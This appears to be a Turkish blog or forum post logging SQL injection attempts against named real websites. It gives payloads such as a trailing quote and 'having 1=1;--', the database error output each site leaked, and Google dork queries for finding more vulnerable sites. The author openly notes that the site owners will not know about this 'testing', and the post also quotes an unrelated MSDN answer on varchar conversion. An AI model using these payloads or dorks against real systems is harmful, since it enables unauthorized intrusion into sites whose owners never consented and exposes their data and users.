http://www.trb.org/news/blurb_detail.asp?id=2326'

Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near ',','.

/news/blurb_detail.asp, line 24

Sql sızma denemeleri...
Sql injection

Google araması ile sql test sitesi

id=25013 having 1=1
http://www.aiim.org/standards.asp?id=25013%20having%201=1

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'vwwebarticles.ProductID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/GetArticle.asp, line 101

Çözüm

Adres: http://www.xxx.com/default.asp?id=15 having 1=1;--

Hata:

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the varchar value '15 having 1=1;--' to a column of data type int.

/default.asp, line 61

Çözüm:
http://www.xxx.com/default.asp?id=15' having 1=1;--

Kaynak:http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=243810&SiteID=1
Alıntı:

- Syntax error converting the varchar value 'a' to a column of data type int

I have a table(tab1) with a column(col1) of type varchar. I insert a row with an integer value(1). And when i query the table using the sql, select col1 from tab1 where col1 = 1, it works fine.

But after i insert a varchar, say 'a' and then do the same query, i get an error message saying, "Syntax error converting the varchar value 'a' to a column of data type int.". Why is this so? Please reply.

- Try select col1 from tab1 where col1 = '1'
The ' around the 1 tells SQL server it is comparing the charater 1 not the number 1

Google araması ile sql test için site bulma

http://www.google.com.tr/search?q=inurl:"asp?id="

Arama kutusuna inurl:"asp?id=" veya inurl:"php?id=" vs. anahtar ifadeleriyle kendiniz için bir test ortamı sunacak site bulabilirsiniz.
Tabi sitenin sahibinin bu testi sunduğundan haberi olmayacak başka

inurl:"asp?%id%=0..999999"
http://www.google.com.tr/search?hl=tr&q=inurl%3A%22asp%3F%25id%25%3D0..999999

http://www.hayatiminhatasi.com

http://www.hayatiminhatasi.com
Üye giriş ekranında bariz hata var. Biraz kurcaladıktan sonra site sahibine ve üyelerine iletmek gerekli :D

http://www.onlineyayin.net/tv_yayin.asp?id

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[MySQL][ODBC 3.51 Driver][mysqld-4.0.23a]You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

/inc_sayac.asp, line 33

http://www.cnbce.com/dizi.asp?ID=3 having 1=1

Microsoft OLE DB Provider for SQL Server error '80040e14'

Column 'Serials.SerialID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/dizi.asp, line 13